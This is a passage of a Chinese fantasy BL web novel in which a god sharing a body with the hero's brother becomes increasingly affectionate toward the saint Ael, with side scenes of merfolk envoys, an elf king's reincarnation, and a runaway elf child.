塞缪尔头一次认识到稚嫩的自己居然还有这么好的耐心, 硬生生跟了小崽子一路,没有避开那烦人的地方。 仿佛已经成了本能, 醒来的时候来找小崽子, 即便现在想要清静, 也要呆在离他最近的地方…… 温柔的夜风吹拂着青年刚刚洗完弄干的长发,将发丝上残留的洗发膏香味送到身边人的鼻间。 塞缪尔动了动身体, 不再倚靠树干,转而环抱住了干净香软的银发青年,下颌抵着人家头顶。 被束缚住双臂的艾尔:“……” 他瞪大眼睛,不可思议道:“你在做什么?” 塞缪尔沉默一瞬, 才找了借口:“树干太硬, 靠着不舒服。” 祂刚才只是本能的这样做了,感觉这样的夜色很适合亲密一点的举动。 “……我也不软,要不我给你拿个枕头垫着?” “不会, 你挺软的。”还有点好闻。 塞缪尔低头, 薄唇轻轻吻了一下小崽子的头顶, 这个夜晚很温柔, 连带着祂都变温柔了…… 因为被亲的是头发, 艾尔毫无所觉,他抿了抿唇, 只觉得自己练出来的肌肉都被侮辱了。 虽然没有塞缪尔那么骁勇精悍,至少是紧实的,哪里软了??? 青年鼓了鼓脸颊,然后木着脸道:“可是这个姿势我不舒服。” “啧。”塞缪尔直接两手掐住小崽子细瘦的腰身,将他提起来,挪到自己大腿上侧坐着,然后环住青年的腰以防他坐不稳。 艾尔目瞪口呆,一时无言。 别说,这个姿势确实舒服了很多,被环住腰身让他有安全感,双脚放在树干上,落到实处的感觉比刚才悬空更好,他还可以依在塞缪尔的胸口。对了,塞缪尔的腿比树干软一点,坐的也更舒服了,一切都很好,只有两个问题—— 首先,这真的是塞缪尔吗???祂还好吗?是傻了还是疯了?这跟他最初认识的狂霸酷炫拽的神明大人完全不一样啊! 其次,这是两个男人该有的姿势吗:) 塞缪尔见小崽子僵的跟木头似的,拍了一下他的背,“回神。” 等艾尔反正过来,才发现自己刚才忘了呼吸…… 他就要起身,却被塞缪尔箍得紧紧的,只能无奈开口,“我也不喜欢这种姿势。” “这样都不舒服?”塞缪尔皱眉,“真娇气。” “两个大男人的,这样不合适,被人看见了怎么办?” 塞缪尔不屑地嗤笑一声,“又不是要放火烧了那些精灵的家,心虚什么。” 艾尔思想拐了个弯,他怎么觉得这段对话不对劲呢…… “你为什么一定要抱着我啊?” 塞缪尔压着眉,心里郁闷,连抱一下都不乐意,那更不能接吻或者交合了,那得什么时候才能知道这种事究竟有什么乐趣? 温斯特的计划是,温水煮青蛙,哦,这句话还是听小崽子在小镇的时候说过的。 但是塞缪尔觉得他煮的太慢了,拖拖拉拉的连柴火都还没开始捡,果然稚嫩的自己不可靠…… 现在祂抱着青年,对方别扭,却没生气,塞缪尔敏锐的意识到小崽子对祂的心理防线很低,容忍度很高,所以,祂现在觉得可以经常身体接触,等小崽子习惯了,就可以进行下一步了。 想通之后,塞缪尔顺了顺青年微凉柔滑的发丝,随便找了个借口,“我看有些人族喜欢这样做,想试一下。” 祂看小崽子还想说什么,及时开口:“不是想知道精灵王是不是自然女神的转世?” 艾尔识趣的不动了,求知的漂亮眼眸直勾勾地看着神明大人。 塞缪尔指尖缠绕着一缕银色发丝,心不在焉的给出答案,“他确实是梅瑞狄娜。” 青年疑惑偏头,“女神不在意新生后是什么性别吗?” 莫非这就是高维生命的世界观?在神明的层次之下,性别、种族、一草一木都没有区别?塞缪尔也是这样,万事万物不放在眼里。 一定是女神挑选身份的时候只看天赋,其它因素都不重要! 不愧是神明,思想就是跟人类不一样,反正如果是他,他就做不到这一点! 艾尔将他的想法说了出来,塞缪尔抽了抽嘴角,神色闪过一丝不自然。 艾尔注意到祂忽然偏头像是在欣赏风景的模样,虽然放在塞缪尔身上很奇怪,但他就是知道——这家伙心虚了! 他眼巴巴地看着塞缪尔,“还有什么隐情不能告诉我吗?” 塞缪尔垂眸,与那双澄澈的蓝眸对视片刻,终于老实交代—— “祂原本选好的是一颗雌果。” 精灵都是被生命树孕育的,在诞生之前,是从拳头大的果子,慢慢长成足月胎儿的大小,这期间至少要等待两百年。 时间到了,果皮破裂,就会掉落一个精灵幼崽出来,能孕育出女性精灵的是雌果。 “祂走之前话太多了,我就送了祂一下,没收住力道,送偏了。”所以梅瑞狄娜的灵魂被投进了旁边的一颗雄果。 那个时期,弱小的神明已经神格消失,连带神躯也消散了,强者也有衰退的迹象,亚希伯恩正在疯狂收集其祂神明的神格。 梅瑞狄娜,因为爱好和平与自然,鲜少打架,在八大主神中实力垫底的一位,担心亚希伯恩拿祂开刀,就躲在深渊、塞缪尔的地盘住了几年。 奈何深渊没有太阳,常年昏暗压抑,还没有志同道合的生灵陪祂说话,梅瑞狄娜对其他种族没有歧视,所以成了第一个和世界意志做交易,主动交出祂的神格供养天地,换的转世机会。 神躯消散后,梅瑞狄娜请塞缪尔将祂的灵魂送到生命树那里,塞缪尔却觉得亚希伯恩不会那么轻易放过没有神格的神明,就算不利用伤害,也会始终关注着祂们。 整个世界都知道自然女神最偏爱精灵族,如果现在就送梅瑞狄娜转世,亚希伯恩能轻而易举地找到祂。 所以塞缪尔让梅瑞狄娜陷入了沉眠,没有立刻送走。 时间百年千年的流逝,等塞缪尔和世界意志谈判好保留神格,这才想起了沉睡的梅瑞狄娜——时间过了太久,对别人向来不上心的塞缪尔真把祂忘得差不多了。 唤醒了梅瑞狄娜后,那家伙不停地问祂沉睡的这些年发生了什么,塞缪尔有什么打算…… 等塞缪尔忍着不耐,把祂送到生命树旁边,祂还在跟塞缪尔叨叨转世到不同种族的好处和坏处,然后诚邀塞缪尔成为一只黑暗精灵。 塞缪尔一掌将祂拍向刚才已经选定好的雌果……就是力度有点大,将那抹绿色的灵魂球拍到生命树边缘那颗雄果上了。 也不是没有好处,至少那颗果子孕育的身体也是木系天赋,还很高。 冷酷的黑暗神大人没有丝毫心虚,转头就回去研究如何保留记忆地转世了。 —— 塞缪尔用最简短的文字讲述了那段过往,语气毫无波澜,没有丝毫愧疚,刚才祂表现出的那点心虚,纯粹是因为当年出手失误,不想说出来在小崽子面前丢面子而已。 艾尔沉默良久,还是没忍住感叹一声,“你好坑啊……” 他现在很害怕这家伙哪天坑到他头上。 塞缪尔冷哼一声,明显不服气,“要不是这点失误,祂可能会死在成为精灵王之前。” 女性的木系精灵被无数人觊觎,更别提被生命树孕育了七百年才诞生、有满级元素亲和力的木系精灵,外界一定会有她是灵丹妙药的传言。 生成男性,反而安全很多。 不必过多解释,艾尔也想明白了这一点……算了,他看精灵王活的挺开心的,以后再见到他,也不必替塞缪尔感到心虚。 听完了故事,空气中一片静谧,另一个人的体温在微凉的夜晚中越发明显,那股别扭感又回来了,艾尔坐直身体就打算起身。 可恶,他什么时候靠在塞缪尔身上了,怎么不干脆直接听睡前故事听到睡着啊! “别乱动。” 塞缪尔声音比刚才低沉压抑了很多,祂在尽力克制某种欲望,但艾尔不知道,还以为塞缪尔在凶他。 青年有些不高兴,但是又不想强行反抗,天知道没什么顾忌的神明大人会做出什么事,他可不想把住在不远处的亚尔林,或者其他精灵引过来。 艾尔不反抗了,也不想搭理祂,所以……他眼一闭,头一歪,直接倒在了神明大人的肩头,打算舒服地装死,不跟塞缪尔说话了。 这么“明显”的赌气塞缪尔可看不出来,祂垂着眼睫,近距离地欣赏小崽子的睡颜,视线触及到那张柔软诱人的唇的时候,舌尖抵住略尖的虎牙,血腥味和细微的疼痛帮祂克制着冲动。 离得这么近,却还没有亲下去,塞缪尔自己都嫌弃自己怎么变成现在这幅畏手畏脚的模样! 心里有股无名火没处发,神明大人握住青年白净纤长的手,艾尔的体温对此刻燥热的祂而言算是温凉,让祂降低了一点火气。 艾尔被身边人不轻不重地捏着指腹,让他想起了兰开斯特庄园里养的魔虎幼崽,也是经常被堂姐、姑姑她们这样抱着顺毛、抚摸、捏爪子。 说实话,在这样浪漫的一个环境中,如果是其他同性这样对他,艾尔会肯定这是个gay,在吃他豆腐。哪怕是温斯特,他都会怀疑弟弟弯了,但是塞缪尔…… 祂的认知和常人有很大区别,所以艾尔平时对祂的诸多行为都很包容,也会试着站在祂的角度思考问题。 有人喜欢撸狗,有人喜欢吸猫,没准儿某神就是喜欢吸人呢?神明又不把人类当成平等的物种,塞缪尔把他当宠物养很符合祂的三观啊! 都想到被当成宠物的可能了,艾尔硬是没考虑过塞缪尔弯了的可能。 他是见识过塞缪尔对爱侣间的缠缠绵绵有多不耐的,在神明大人的认知里,爱情?什么玩意儿?只会耽误祂拔剑的速度!艾尔早就认定了祂是武痴了。 此时,塞缪尔没忍住,凑近了小崽子的脖颈间,想弄清楚他身上是什么香味,一直在勾着祂。 因为闭着眼睛,所以其它感官更敏锐了,艾尔明显感觉到塞缪尔凑得更近了,然后还……轻轻吸了一口。 啊啊啊救命啊吸人了!!! 第094章 第 94 章 俊美的黑眸青年轻轻嗅着怀中人颈间散发出的淡淡暖香, 随后明显感觉到了小崽子的身体僵硬起来。 祂抬头,看见怀中人那张白皙小脸皱成一团的样子,显然很紧张。 塞缪尔见惯了小崽子或是笑意舒展, 或是云淡风轻、冷静沉稳的模样,也见多了在祂面前装无辜装真诚的模样, 这幅表情倒是头一次见。 长得好看, 就算脸皱成一团在塞缪尔看来也是可爱的, 但是……祂不喜欢小崽子皱眉的样子。 指腹轻轻扫过怀中人的眉头,神明大人的声音轻到有些温柔, “很讨厌我这样抱着你?” 艾尔硬是感受到了平静表面下的危机潜伏。 他刚才还打算装死不搭理塞缪尔的, 一是赌气, 二是想着等祂觉得没趣了就会放开了。 而此时,神明大人抚摸他脸颊的温柔力度和祂平日的作风形成明显反差, 让艾尔感到惊悚,不敢不回话。 青年无奈地睁开眼睛,仔细回答,“不是讨厌, 但也不是喜欢, 就是很不习惯而已,我没跟人这么亲近过。” 塞缪尔嗯了一声,“早点习惯。”祂已经拿出最大的耐心了。 艾尔一噎, 他为什么要习惯?莫非塞缪尔抱上瘾了?如果以后养成习惯, 塞缪尔会不会不分场合地抱着搂着?这还得了?! 哦对了, 塞缪尔有点小洁癖来着, 如果他以后经常弄得身上脏兮兮的, 祂会不会很嫌弃,然后放弃这莫名其妙出现的兴趣。 艾尔心虚地看着祂, 撒了个小谎,“我今天走动了很久,还没有洗澡,你离得这么近,不臭吗?”膈应不死你,哼。 塞缪尔:“……”是不是当祂傻? 大手揉乱了怀中人那一头柔顺的银发,塞缪尔没好气地说:“臭死了。” “???”艾尔心里憋屈,谁臭啦!他明明都洗得干干净净的好吗!臭你还抱这么久?! 偏开脑袋,把头上那只手避开,“你把我当魔宠呢?”又在顺毛。 魔宠?能养能抱能摸……塞缪尔含糊道:“差不多吧。”如果小崽子能像魔宠那样撒娇黏人就更好了。 呵,果然! 艾尔就舒服地瘫在神明大人怀里,耐心跟祂讲理,哦不对,是教祂当人,“我跟你说啊,人族之间只有恋人才会用这种姿势,我们要是被其他人看见了,会被误会的。” 塞缪尔会在意吗?显然不会,“哦,那就误会吧。” 艾尔被祂这副油盐不进的样子气倒,嘴里咕噜了一句,“你看起来gay里 gay气的。” 一听这种陌生的发音,塞缪尔就知道这是另一个世界的语言了,“什么意思?” 青年弯着眉眼,扯出一抹礼貌的微笑,“是在夸你今晚看起来特别好看!” 塞缪尔信他才怪,哼笑一声,回敬了小崽子,“是吗,那你一直都gay里gay气的,不止今晚。” “…………”啊啊啊可恶! 塞缪尔看他这副气急败坏还要装作无事的样子,又被逗乐了,心脏传来的感觉很奇妙,不像之前那样跳动异常,是一种被填满了,愉悦心软,却又不满足,贪心地想要更多的感觉。 祂以前不理解心软这个词,现在理解了,注视着将脑袋埋在祂肩头,又在跟祂生闷气的银发青年,塞缪尔心都快化成水了。 艾尔察觉到那有如实质的视线,不耐烦的再次抬头,却意外地发现神明的黑眸中盛满了笑意。 那一瞬间,他还以为是温斯特回来了,可温斯特是不会这样抱着他的。 艾尔不是没见过塞缪尔笑过,但每次情绪都很淡,不像现在这般,眼中仿佛有蜜流淌……心情有这么好吗? 算了算了,抱一下又不会少块肉,让这家伙多抱一会儿也不是不行。 就这样躺了片刻—— 好安静啊……艾尔无视了虫鸣声,无视了风吹树叶飒飒作响的声音,只觉得这个夜晚安静过头了,让塞缪尔的存在感更加明显,所以他总有种怕被其他人看到的紧张。 出来也没多久,但是在紧张的时候就会觉得时间有点难挨,艾尔怀疑是不是已经到午夜了。 对方的体温比他高,艾尔被祂给捂得有点热,为了让塞缪尔多高兴一会儿他已经尽力了,手都被这家伙翻来覆去的捏红了! 实在待不住了,艾尔跟任性的神明大人打商量,“我可以回屋子里看书吗?” 塞缪尔没有拒绝,顺手就将青年打横抱起,脚下一跃,轻盈地落在门口。 完全不出艾尔所料,塞缪尔照旧要和他住一个屋子。 如果说在最开始,艾尔确定祂这样做是为了气一气让祂不顺心的温斯特,现在艾尔就有些怀疑了……靠,该不会嫌弃一个人无聊所以不想独自呆着吧? 塞缪尔把小崽子放在床上,让他舒服地靠着蓬松的枕头,看他不知道又在纠结什么…… “在想什么?” 艾尔犹豫地开口,“你该不会以后也一直和我一起睡吧?” “不然呢?” 看祂那理所当然的样子,艾尔恍惚觉得——他是什么时候结婚了,但是不小心忘记了吗?怎么多出一个要跟他日日黏在一起、要搂搂抱抱、还要永远同床共枕的老婆?哦不,是老公…也不对! 呸呸呸!什么乱七八糟的! 有太多槽想吐,但是又心累到不想开口。 艾尔不再跟某神说话了,他沉默地拿出魔法书,开始学习——他要醉心于知识,逃离这个离谱的世界! 塞缪尔也不吵他,安静的在他身边躺下,准备进入睡梦中,这段时间身体素质增强了不少,可以继续给温斯特解封记忆了。 床头的光线明亮且柔和,对正在看书的人来说很友好,但塞缪尔不喜欢。 祂往青年那边靠了靠,脑袋偏向了手肘边的阴暗处,这才舒展了眉头,平和的入睡了。 因为想逃避现实,艾尔迫使自己的注意力完全集中在了学习上,刚好让他糟心的某神动作又很轻,所以他还真没留意到塞缪尔几乎是贴着他睡了,还是在同一个被窝里。 等艾尔产生了困意,打算入睡时,才发现了这件事。 虽然塞缪尔刚才让他有点糟心,但艾尔还是很关心祂的,不想动作太大扰醒了祂,便没有拿第二床被子出来,反正都是男人,没这么多讲究。 艾尔身体往下一滑,躺下迅速入睡。 但是,第二天一睁眼,艾尔立刻后悔了——艹,就是因为旁边睡了个男人,才更该防! 塞缪尔寡了几万年的事情在他脑子里印象太深刻,导致艾尔以为祂是没有“人欲”的,这种低俗的事情怎么能跟冷酷无情、平等的看不起所有生灵包括其祂主神的塞缪尔扯上关系呢! 但是他忽略了,睡在他旁边的是血气方刚的人类男性身体,但凡没有毛病,早上是有正常生理反应的。 显然,以温斯特的身体素质,不可能有毛病,所以他某个地方抵住自己大腿不是他的错,温斯特又不是故意的,但是艾尔还是想吐槽…… 他们为什么挨得这么近?!温斯特为什么抱着自己?! 艾尔一大早的就被惊到了,一时没有动弹,他知道自己睡眠质量不错,但他还是头一次意识到,原来还能睡得跟头猪一样…… 睡进身边人的怀里是他的错,是他睡姿不好,不过温斯特也不无辜,谁让他抱人的姿势那么合适啊,骨头一点都没硌到他!可恶! 艾尔坐起身的瞬间,温斯特便从睡梦中醒来,他也第一时间意识到现在的睡姿有多尴尬。 此时,他的一只手臂还揽着青年细瘦的腰,下身也极为靠近他的大腿……温斯特呼吸一沉,可恶,为什么他没有先醒来,这种好事只能体验一瞬,太亏了! 艾尔已经下了床,看那速度是避人如蛇蝎。 温斯特小心翼翼地看他,“哥,对不起,我不是故意的。” 艾尔梳理着长发,无所谓道:“我知道,正常生理反应,不用放在心上。” 刚才那点别扭已经过了,他自己也是男人,司空见惯了。 比起那点反应,抱在一起睡反而让他更受惊,以后一定要记得不能盖一床被子。 等艾尔洗漱完,换好衣服,才注意到盯着他一动不动的温斯特,那双深邃狭长的黑眸似乎特意睁大了一些,显得迷茫又无助。 “你怎么了?” 床上的青年压低了声音,有点心虚道,“我、我有点难受。” 艾尔当然知道他说的是什么,“那你动手解决嘛,干坐着要等多久……”他突然顿了一下,想明白了什么,“哦~我在这里你害羞是吧,那我先走了。” “……” 温斯特和塞缪尔本性一致,心理素质强大,根本就没有害羞这回事儿,他只是想借机和哥哥更亲密一点而已,当然不能就这样让哥哥离开。 青年疑惑地偏头,“哥…动手是什么意思啊?” 艾尔眯了眯眼,狐疑地看着他——都这个年龄了,按理说已经有好几年处理这种尴尬反应的经验,不至于这么纯情吧? “真不知道?” 温斯特呼吸有些不稳,略沙哑的嗓音像带了钩子,“不知道,哥哥可以教教我吗?” 可惜他的勾引对还没开窍的直男不起作用。 “比起动手,我还有个更好的办法,温斯特想试试吗?” 温斯特没吃过猪肉,但以前在外谋生的时候见过猪跑,也听过荤话,知道不少东西,听哥哥这么说,脑子里闪过多种可能,“是什么?” 艾尔勾起一抹温柔的笑容,“切掉吧。” “……?” “一劳永逸,以后都不用受这种苦了,你动刀后哥哥马上给你用治愈术,痛不了多久的。你看,这是不是个好办法?” 温斯特沉默片刻,“我…我还是动手解决吧。” 艾尔摇摇头,转身出门了。 他甚至开始怀疑温斯特是在跟塞缪尔争夺他的注意力,看哪个意识跟他更亲密……弟弟平时黏他可以,但是在这种事上还黏他,这就不行了。 看到有人出来,在隔壁那颗巨木坐着哼歌的精灵侍从飞了过来。 “圣子殿下,日安。” “日安,黛娜,这么早就在等我吗?辛苦了。” 精灵笑了笑,“没关系的殿下,这是我的职责。而且,清晨的日光不管看多少遍都不会厌呢。” 这座森林本来就很美丽,金色的阳光穿过树叶的缝隙,透过晨雾,变成缥缈神圣的光辉,森林笼罩在其中,多了几分温暖和浪漫。 青年点头认同,“确实很好看,西莱古森是我见过最美的森林。” 精灵的笑意更加真切,“很高兴您喜欢我们的家园。对了,昨天晚上有新贵客到访,听说您在这里,他们想要见一见您。” 第095章 第 95 章 “见我?有其他人族来了吗?” 艾尔有些疑惑, 精灵不喜亲近人族,这次的诞辰,连王室都无法派遣使者进来。 只有光明教廷, 因为长久以来坚持宣扬种族平等,每座城市的分庭严格排查买卖异族的行为, 获得了异族们的好感, 教廷因此成为了他们和人族沟通的桥梁。 不过这也只是艾尔自己的分析, 具体异族为什么会给教廷面子,他就不清楚了。 总之, 这次的诞辰宴会, 教廷只派了他过来, 主要是想让未来的教皇和精灵王两方认个脸熟。 当然,埃德加主教说了, 他可以多带几个人,大主教或者圣骑士,都能听他差遣,但他没有, 领着自己人, 一路惬意地过来了。 黛娜轻轻摇头,“如果您没有同伴落在了后面,应该不会有人族进来了。” 就连精灵们都有些奇怪教廷这次为什么派三个人过来, 不像以前, 起码来十个人, 都是为了保护或者照顾其中地位最高的人。 不过精灵们不得不承认, 他们最喜欢这位圣子殿下的到访了, 殿下真诚友善,只带着两名关系好的骑士就进精灵族地了, 简单随意的就像拜访友人一样,不像以前的神官那么正经拘束。 黛娜继续说,“想和您见面的是人鱼族的使者,听莉迪亚小姐说,你们是认识的。” 艾尔听着熟悉又陌生的名字,反应了一会儿才对上一张脸,“是的,我们认识几年了,很期待等会儿能见到她。” 青年眉眼弯弯,深蓝的眼中闪烁着细碎的星光,黛娜在心里赞扬着圣子对朋友的态度,却不知艾尔正在苦恼——不知道来这里的人鱼有多少是他认识的,见面之前,得把笔记本拿出来复习一遍,要把长相和名字对上才行。 黛娜又拿出一个巴掌大的精致木盒,“对了,殿下,这是王令我交给您的谢礼,多亏了您,菲比才能平安回来。” 现代某些习惯深入骨髓,艾尔先客气推辞一番,才收了下来。 虽然有点好奇,他也没打算当面打开看看是什么,黛娜担心他认不出来那是什么,便多解释了一句,“这是生命树的叶子,能蕴养灵魂和体魄。” 生命树本身就能孕育生命,它的叶子有这样的作用也不足为奇。 外面多的是人愿意重金购买一片,生命树枝繁叶茂,虽然结的精灵少,但是叶子多啊,拿去交易不会对生命树造成任何损伤,可多年以来几乎没有叶子离开过西莱古森。 只因生命树是精灵族最神圣最重要的存在,是他们会用性命守护的东西,绝不愿意拿来做交易,这是对母亲的侮辱! 不过他们偶尔会拿叶子赠予友人或恩人,就是这个偶尔嘛……可能两三百年都不一定会发生一次。 艾尔听她这么说,不禁眼前一亮,“多谢,我正好有用处。” 黛娜很高兴她们的礼物能帮上朋友的忙。 “亚尔林阁下已经去练剑了,温斯特阁下似乎还没有醒,殿下,您现在要去和人鱼使者见面,还是另有安排呢?” 一听到温斯特的名字,艾尔就有点心虚,毕竟人就在他身后的门内……要是被别人发现他俩睡一起,他都没法解释这是为什么! “去见一见莉迪亚她们吧,麻烦黛娜带路了。” 走走走,赶紧走,万一温斯特下一秒从他身后走出来,那得多尴尬啊。 精灵在前面飞着,艾尔落后一点,拿出他的笔记本快速过了一遍见过的人鱼的名字。 片刻后,艾尔将本子扔进空间戒指,脸上挂着美丽自信的笑容。 不得不说这招真好用,自从开始记笔记了,再也没有发生过见到熟人却叫不出名字的尴尬事了。 这个办法,兰开斯特家族“名盲症”患者用了都说好! 黛娜带着圣子来到古森的某处湖泊,清澈的水里是纯净蓝天的倒影,漂亮有力的鱼尾一甩,扬起点点水花,在金色阳光中,变成了耀眼的浅金色珠子。 百无聊赖的人鱼看见正在往这边飞的人,将鱼尾化作双腿,快速地套了一件裙装,走上了岸。 “莉迪亚,珀尔,凯洛格,好久不见。” “小艾尔,好久不见,你都多久没来看我们了。” 青年一一回应了熟人…哦不,是熟鱼的拥抱,“可别叫我小艾尔了,我看,我比你高这么多。” 他和人鱼族认识的时候还是个青葱少年,被几百岁的人鱼这么叫也无所谓,不过……男人或多或少有点好面子,现在的他可不想再被当成小孩子了。 妖异又艳丽的雄性人鱼笑道,“小心她俩现在就化出鱼尾,跟你比身高。” “……”比不过比不过,人鱼尾巴都是近两米的! 湖中还有几条人鱼没有上岸,都是艾尔没见过的,一位已经有苍老之相的雄性人鱼听他们聊了片刻,这才开口,“教廷的圣子,听说你几年前帮过丽芙,莉迪亚她们本该跟你道谢才对,看起来,她们反而给你添了更多麻烦。” 艾尔最不喜欢和这个世界高龄又有地位的人说话了,客套又规矩,还喜欢观察你究竟是什么样的人,不过他也很习惯和这样的人交流就是了。 有精灵在一旁好奇地问,“我以为人鱼族平时都不喜欢离开深海,圣子殿下是怎么和大家相遇的呢?” 提起这段往事…… 因为对异族这类幻想生物很好奇,艾尔每次放长假的时候都会往他们领地的方向跑。 四年前,艾尔去了沿海的珍珠城,其实主要是为了找海鲜做新菜品,顺便看看能不能偶遇人鱼。 他用光元素做了屏障,隔绝了水,在海里挑新鲜自助。他不想因为使用魔法吸引来一群民众,便走远了一些,挑了个好看又没人的海滩。 但是好地方是很有吸引力的,看上这里的不止他一人。 艾尔提着一只大龙虾,脑子里全是食谱,刚从水里冒出个脑袋,就看见了一大一小两个人族,刚在想换个方向游远一点,就听见他们提到了捕人鱼。 嗯?捕什么?艾尔再仔细一看,确实是一个壮年渔夫和八九岁小男孩的组合,他们俩?抓人鱼? 他还以为是小孩子的异想天开,都被逗笑了一瞬,没想到那渔夫是有计划的—— 把儿子送到海上那块礁石上趴着,装出落水的样子呼救,如果能吸引来一条人鱼,就将抹了药的匕首刺过去,然后渔夫就划船来接人。 渔夫这样做,当然不是凭空就来碰运气。 他在酒馆听一位四处游历的吟游诗人提过,在这处美丽的海滩,看见过海中出现了人的上半身,似乎在望着海滩这边,可惜在他看到的下一瞬,便潜进了海面下,然后诗人看见了半条金色的绚丽鱼尾。 诗人断定这是人鱼,因为贪婪,渔夫也深信不疑,当即就定下了要捉到人鱼的决心! 人鱼对人类有偏见,不杀都算好的了,渔夫不认为自己能靠近他们……但是珍珠城人人都知道的古老传说里,人鱼救了落水的小孩,有时候在海边看见孩子,还会赠予礼物——他们对幼崽很宽容。 渔夫很快就作出了拿他儿子当诱饵的计划。 人鱼一天没来他们就多留一天,一个月没来就再留一个月!反正他能捕鱼,父子俩也饿不死,若是能成功捕捉到一条人鱼,他就能变成尊贵的富人老爷,再也不用过这种天天打鱼晒网的苦日子了! 艾尔不信当渔夫的会不知道海浪有多危险,男人还是选择把孩子置于危险之地,一天又一天。 再看那小男孩儿,握着匕首,一脸期待地说他可以爸爸的忙,把人鱼开膛破肚,取出心脏去卖大钱,还撒着娇说要买新衣服,住大房子。 艾尔摇摇头,懒得搭理这对父子,准备换个海滩登陆。 距离不是很远,所以之后的几天他会顺便来看一下人走了没,结果还挺能撑,不过那小孩儿看着没什么精神了。 他在附近的海域游了好几天了都没看见人鱼影儿,他才不信父子俩运气有多好,这么容易就能碰见人鱼,还是乐于助人的人鱼。 结果真是瞎猫碰上死耗子,贪婪人类偶遇单纯鱼崽—— 呼救了几天,声音早就沙哑的男孩儿引来了一条小人鱼。 红尾的小人鱼躲在海面下,犹豫了一下,没有在海滩看见其他人类,才向人族幼崽游了过去。 艾尔隐在半空一团不起眼的光晕之中,一言难尽地看着人鱼靠近了小孩儿,他扶额,看来人鱼族的防人意识还不够强,就算想救人,这小人鱼就不能控制海水把人送去沙滩上吗? 他暂时没动,打算让人鱼上一堂课。 男孩儿看着人鱼那张可爱的脸,犹豫了一下,但是人鱼尖利的指甲碰到他,又让他害怕,那条摆动的鱼尾,让他找回了平时在家杀鱼的熟练手感…… 想着有钱人过的日子,男孩儿不搭理人鱼的问话,面色狰狞的从怀里掏出匕首刺了过去——匕首却被一道白光打到脱手。 丽芙愣在原地,突然发现自己不受控制地游远了。 咦,她明明没有动尾巴啊……丽芙左右看了看:啊啊啊啊她长翅膀了!她作为鱼怎么长了鸟翅膀啊!! 光翼带着她游到了一个极好看的人类面前,他的脸色让丽芙想起了严厉的长老。 “现在长记性了?” —— 三个种族闲聊了一会儿,精灵王就找过来了。 族地一切都好,没多少事必须要他处理,所以海因里希非常闲。 湖泊附近景色怡人,他们也没有四处走动了,闲谈之间,精灵王用竖琴弹奏了几首曲子,还指挥着训练了几日的鸟群给大家表演。 艾尔的思绪忽然从热闹中抽离了一瞬,咦……温斯特还没找过来吗? 视线所及之处没看到最熟悉的人,也不知道他现在在做什么,在哪个位置,艾尔还怪不习惯的。 还没来得及失落,艾尔听到有人提了自己的名字,再次被拖入欢闹之中。 聊了半日,平时最修身养性、话也少的人鱼族长老开始嫌吵了,嫌弃地挥散了大家。 因为人多,大家都在说话,艾尔听的时间比开口更多,所以觉得比昨天的社交轻松多了,但他还是决定下午就不出门了,离精灵王的诞辰还有几日,总是这么闲闹他还要不要修行学习啦? 回了房间,依然没有看到温斯特,艾尔想他一定是去练剑了,便没有去寻找。 半下午,专心看手札的青年走神一瞬,想着温斯特还没回来,不休息一下吗?连亚尔林都回来找过他一次了。 他全然没想过弟弟回了自己客房的可能。 等太阳快落山了,温斯特才穿着薄衣,顶着一身的汗进了屋子。 艾尔扔给他一块帕子,“怎么练剑练这么久?” 温斯特冲他笑,黑眸亮晶晶的,“今天我不在,哥哥有想我吗?” 艾尔沉默,他确实有想过,但是温斯特问出来……好像有点奇怪。 青年将视线挪到了手札上,“没有,我知道你就在离我不远的地方,有什么可想的……” 温斯特多了解他啊,一看哥哥的反应就知道他在撒谎。 他现在非常高兴,看来今天的勾引手段是有用的,瞧,一个白天不在,哥哥就会想他了……但是他不想多用,因为温斯特不喜欢看不到哥哥。 温斯特没有戳穿艾尔的谎言,他坐在哥哥旁边,抿唇浅笑着,似乎有点害羞,“我以为哥哥早上生我的气了,就不敢在你眼前晃,想让你先消消气。” 不敢?艾尔有些怀疑,这小子有这么胆小吗? “我没有生气。” 艾尔终于又抬头看他,见这人湿漉漉的,因为离得近,他都能隐隐感受到温斯特身上蒸腾的热气,“行了,脏死了,去洗澡。” “好。” 当晚,艾尔不顾塞缪尔的反对,坚持像以前一样分开盖被子,青年在心里暗暗吐槽,没跟你分居都不错了,还敢多提要求。 —— 之后的两日,西莱古森也迎来了其他客人,矮人、地精、兽人族的使者。 宴会的时间越来越近,精灵们也都欢快的忙了起来,有些地方也就不像平时那样看顾周全。 一位精灵长老去王那边走了一趟,谈了点事儿,然后回到了他看守的禁足地。 “小莫里,爷爷给你带了新口味的果子回来,是外来品种,王刚培育出第一批,就想着你呢。” 长老等了一会儿,按照正常情况,小幼崽早就该飞过来才对…… 他皱了皱眉,大声呼喊了几声,没有收到回应,长老马上将禁足地给翻遍了,一无所获。 向来沉稳的长老额头急出了冷汗,“这小莫里,不会真的跑出去了吧……” 第096章 第 96 章 夜晚的森林中, 有朦胧的月光为偷跑的小精灵照着路。 莫里气呼呼的,他飞得莽撞,根本没看清楚路, 一路乱飞。 不过他也不需要认路,反正小莫里也不知道该去哪里。不能回自己的小树屋, 也不能去找熟悉的哥哥姐姐们, 他们一定会把他捉住交给哈瑞斯长老的。 莫里已经委屈好多天了。 先前, 精灵幼崽们进行了每月一次的考试,成绩下来后, 莫里除了魔法用的不错外, 其它知识考的都很糟糕。 长老非常生气, 说他每天玩乐太多了,学习不认真, 将他带去了禁足地,要他好好反省,在里面乖乖看书。 可莫里只是个五岁的精灵崽崽,是现在森林里最小的幼崽, 他都没听几节课, 除了与生俱来的魔法天赋,其它的当然什么都不会啦! 莫里本来想找其他大精灵说情,但是大家都支持长老的决定, 连陛下也是……明明以前大家最疼他了, 现在怎么这样啊…… 而且陛下的五百岁诞辰宴会要开始了, 听菲比姐姐她们说, 会有很多外族人来这里的。 莫里还没有见过外族人, 还有全族参与的热热闹闹的宴会,他期待好久啦! 本来以为长老们关他两三天就会放他出来的, 但是他们居然说,莫里在禁足地中呆着的时候书都没看过,可见根本没有反省,就关到宴会结束后作为惩罚。 小莫里又伤心又生气,觉得全世界都抛弃他了,不爱他了,难过几日后,他今晚趁着看守长老不在,甩开了长老暂时留在那里盯着他的炼金傀儡,从禁足地跑了出来。 莫里一股脑的往前飞,他现在讨厌所有人,哼! 飞着飞着,莫里忽然停下来,抽了抽鼻子,咦……怎么有生命树的味道? 幼崽这才打量了一下周围环境,意识到自己飞到了精灵族接待客人的区域,这里离生命树很远,不该有母树的味道才对。 小莫里闻着味儿来到一扇门前,里面没有光亮,客人肯定睡了。 幼崽揪着衣服下摆,他现在很纠结,又想进去看看,又不想打扰别人休息。 